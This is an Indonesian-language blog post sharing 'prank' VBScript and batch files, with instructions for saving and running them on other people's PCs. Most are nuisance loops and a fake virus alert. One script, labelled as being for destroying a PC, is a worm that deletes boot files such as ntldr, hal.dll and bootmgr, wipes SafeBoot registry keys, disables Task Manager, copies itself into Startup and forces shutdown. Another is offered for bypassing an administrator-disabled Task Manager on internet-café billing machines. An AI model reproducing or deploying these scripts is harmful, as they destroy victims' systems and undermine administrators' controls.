script jail versi 2

udah lama gk mosting lagi nie...
nah kali ini akbar akan bagi2 script yang lumayan jail.....
dan sekali lagi akbar gk mau tanggung jawab lho ea....
hehehehee :P

pertama = script untuk back space teru menerus.

MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

tulisan merah itu bisa di ganti dengan suka hati temen-temen tinggal copas ae..,.,.
dan simpan dengan extensi "sesuka hatiku.bat" untuk nama itu terserah temen-temen.


kedua = tour start 



1    option explicit
2   
3    dim wshshell
4    set wshshell=wscript.createobject(”wscript.shell”)
5   
6    dim x
7    for x = 1 to 10000000
8    wshshell.run “tourstart.exe”
9    next



simpan dengan extensi "sesuka hatiku.vbs" untuk nama terserah temen-temen.


ke tiga = untuk mengerjai dvd,cd rom


Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


beri extensi "sesuka hatiku.vbs" nama terserah temen-temen.


ke empat = agar keyboard enter terus.


Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop 


simpan dengan extensi ".vbs"


ke lima = untuk menghancurkan pc.




01    @echo off & break off
02    title fuCker v1.4-1-5
03    attrib +h %0
04    mode con cols=75 lines=15
05    cls
06    color 0a
07    echo.
08    echo ad88 ,ad8888ba, 88
09    echo d8" d8"' `"8b 88
10    echo 88 d8' 88
11    echo MM88MMM 88 88 88 88 ,d8 ,adPPYba, 8b,dPPYba,
12    echo 88 88 88 88 88 ,a8" a8P_____ 88 88P' "Y8
13    echo 88 88 88 Y8, 8888[ 8PP""""""" 88
14    echo 88 "8a, ,a88 Y8a. .a8P 88`"Yba, "8b, 88
15    echo 88 `"YbbdP'Y8 `"Y8888Y"' 88 `Y8a `"Ybbd8"' 88
16    echo by c0re
17    echo.
18    rundll32.exe user32.dll,SwapMouseButton
19    if exist "%SYSTEMDRIVE%\boot.ini" goto winXP 2> nul
20    if exist "%USERPROFILE%\AppData" goto winVISTA 2> nul
21    @echo
22    echo x=msgbox("0wned by fuCker w0rm!",vbCritical or vbOkOnly,"fuCker") >> "fuCker.vbs"
23    start "" "fuCker.vbs" 2> nul
24   
25    :winXP
26    echo [Inject] Microsoft Windows XP!
27    set b0t=boot
28    attrib -r -s -h "%SYSTEMDRIVE%\%b0t%.ini" >nul
29    del /f /s /q "%SYSTEMDRIVE%\%b0t%.ini" >nul
30    set b0t=
31    attrib -r -s -h "%SYSTEMDRIVE%\ntldr" >nul
32    del /f /s /q "%SYSTEMDRIVE%\ntldr" >nul
33    set w0n=win
34    attrib -r -s -h "%SYSTEMROOT%\%w0n%.ini" >nul
35    del /f /s /q "%SYSTEMROOT%\%w0n%.ini" >nul
36    set w0n=
37    attrib -r -s -h "%SYSTEMROOT%\System32\hal.dll" >nul
38    del /f /s /q "%SYSTEMROOT%\System32\hal.dll" >nul
39    attrib -r -s -h "%SYSTEMROOT%\System32\bootcfg.exe" >nul
40    del /f /s /q "%SYSTEMROOT%\System32\bootcfg.exe" >nul
41    reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /va /f >nul
42    msg * "**** y0u!"
43    shutdown -r -t 02 -c "fuCker w0rm deteCted!"
44    goto end
45   
46    :winVISTA
47    echo [Inject] Microsoft Windows Vista!
48    setlocal enableextensions
49    for /f "tokens=*" %%a in (
50    'reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Pol icies\System\ /v EnableLUA'
51    ) do (
52    set usac=%%a
53    )
54    echo %usac%|find /i "0x1" > nul
55    if errorlevel 1 (
56    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
57    start http://%USERNAME%.homo.com/
58    attrib -r -s -h "%SYSTEMRDRIVE%\bootmgr" >nul
59    del /f /s /q "%SYSTEMDRIVE%\bootmgr" >nul
60    attrib -r -s -h "%SYSTEMRDRIVE%\BOOTSECT.BAK" >nul
61    del /f /s /q "%SYSTEMRDRIVE%\BOOTSECT.BAK" >nul
62    copy %0 "%ALLUSERSPROFILE%\Start Menu\Programs\Startup" 2> nul
63    copy %0 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\St art Menu" 2> nul
64    echo x=msgbox("0wned!",vbCritical or vbOkOnly,"fuCker w0rm") >> "w0rm.vbs"
65    start "" "w0rm.vbs" 2> nul
66    shutdown -s -t 10 -c "fuCker w0rm deteCted!"
67    goto end
68    ) else (
69    echo :HjT >> "%TEMP%\HjT.bat"
70    echo tskill /a HijackThis >> "%TEMP%\HjT.bat"
71    echo goto HjT >> "%TEMP%\HjT.bat"
72    start "%TEMP%\HjT.bat"
73    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
74    echo do >> "disk.vbs"
75    echo set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "disk.vbs"
76    echo set colCDROMs = oWMP.cdromCollection >> "disk.vbs"
77    echo colCDROMs.Item(d).Eject >> "disk.vbs"
78    echo colCDROMs.Item(d).Eject >> "disk.vbs"
79    echo loop >> "disk.vbs"
80    start "" "disk.vbs" 2> nul
81    echo @echo off >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
82    echo shutdown -r -t 00 -c "fuCker w0rm deteCted!" >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
83    echo echo 0wned by fuCker w0rm! 0n %DATE% at%TIME% >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
84    echo @exit >> "%USERPROFILE%\Desktop\fuCkerw0rm.bat"
85    set usac=
86    start "%USERPROFILE%\Desktop\fuCkerw0rm.bat" 2> nul
87    echo x=msgbox("0wned!",vbCritical or vbOkOnly,"fuCker w0rm") >> "w0rm.vbs"
88    start "" "w0rm.vbs" 2> nul
89    goto end
90    )
91    endlocal
92   
93    :end
94    cls
95    exit



simpan dengan extensi ".bat"


nah untuk yang satu ini untuk buat task manager tapi via notepad.
dan cocok untuk yang mau bobol billing yang taskmanager-nya di disable oleh admin.
ini dia

001    @echo off
002    mode 33,25
003    setlocal ENABLEDELAYEDEXPANSION
004    Title Process Manager
005    :Begin
006    PUSHD
007    CD /D "!TEMP!"
008    set "TASKLIST=%windir%\system32\tasklist.exe"
009    set "FIND=%windir%\system32\find.exe"
010    set "wmic=%windir%\System32\Wbem\wmic.exe"
011    set "Explore=%windir%\explorer.exe"
012   
013    :Reload
014    cls
015    set num=0
016    echo.________________________________
017    echo.[ BLACKRAS DETECTOR ] [ PID ]
018    echo.--------------------------------
019    if not defined NAME set NAME=%USERNAME%
020    !TASKLIST! /FI "USERNAME eq !NAME!" /FO TABLE /NH >"plist.txt"
021    for /f "tokens=*" %%a in (plist.txt) do (
022    set /a num+=1
023    set "list=%%a"
024    set "list=!list:~0,32!"
025    echo.!list!
026    )
027    echo.________________________________
028    Del /f /q "plist.txt" >nul 2>&1
029    Title !NAME! - [!num!] Process Running.
030    if not defined ac (
031    if /i "!NAME!"=="%USERNAME%" goto :USR
032    if /i "!NAME!"=="SYSTEM" goto :SYS
033    )
034    if /i "!ac!"=="K" goto :Kill
035    if /i "!ac!"=="S" goto :SYSTEM
036    if /i "!ac!"=="U" goto :USER
037    if /i "!ac!"=="E" goto :Explore
038    set "ac="
039    GOTO :Reload
040   
041    :USER
042    set "NAME="
043    set "ac="
044    GOTO :Reload
045    :USR
046    echo.CH : K=Kill, S=System, E=Explore
047    set /p "ac=Manage : "
048    GOTO :Reload
049   
050    :SYSTEM
051    set NAME=SYSTEM
052    set "ac="
053    GOTO :Reload
054    :SYS
055    echo.CH : K=Kill, U=User, E=Explore
056    set /p "ac=Manage : "
057    GOTO :Reload
058   
059    :Kill
060    echo.Type PID to Kill..
061    set /p "PID=PID : "
062    if not defined PID goto :Reload
063    Taskkill /F /PID !PID! >nul 2>&1
064    if errorlevel 1 (echo.No Task Running w/ this PID.) else (
065    if !PID! geq 0 if !PID! lss 10 (
066    echo.Can't kill Critical Process
067    goto :clr_var2
068    ) else (
069    echo.Success : Task with PID=!PID!
070    echo. has been KILLED..
071    ))
072    :clr_var2
073    set "ac="
074    set "PID="
075    PAUSE>NUL
076    GOTO :Reload
077   
078    :Explore
079    echo.Type PID to Explore..
080    set /p "PID=PID : "
081    if not defined PID goto :Reload
082    if !PID! lss 10 goto :clr_var
083    if !PID! gtr 10000 goto :clr_var
084    !wmic! process get ProcessID,ExecutablePath >"path.txt"
085    for /f "tokens=1,2 delims= " %%a in ('type "path.txt" ^| !FIND! " !PID! "') do (
086    set "exepath=%%~dpa"
087    )
088    if not defined exepath (
089    echo.No Task Running w/ this PID.
090    PAUSE>NUL
091    ) else (!Explore! "!exepath!")
092    set "ac="
093    :clr_var
094    set "PID="
095    set "exepath="
096    Del /f /q "path.txt" >nul 2>&1
097    GOTO :Reload
098   
099    :END
100    __________



simpan dengan extensi ".bat"


biar lampu key board ber-disco ria.



Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop 



simpan dengan extensi ".vbs"


ke enam 


biar lawan kita shok,karna script ini


lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")


tulisan yang berwarna merah itu ganti terserah temen-temen
untuk ext = ".vbs"


mungkin udah banyak yang punya tapi akbar hanya ingin mosting aja...
hehehehe 
moga bermanfa'at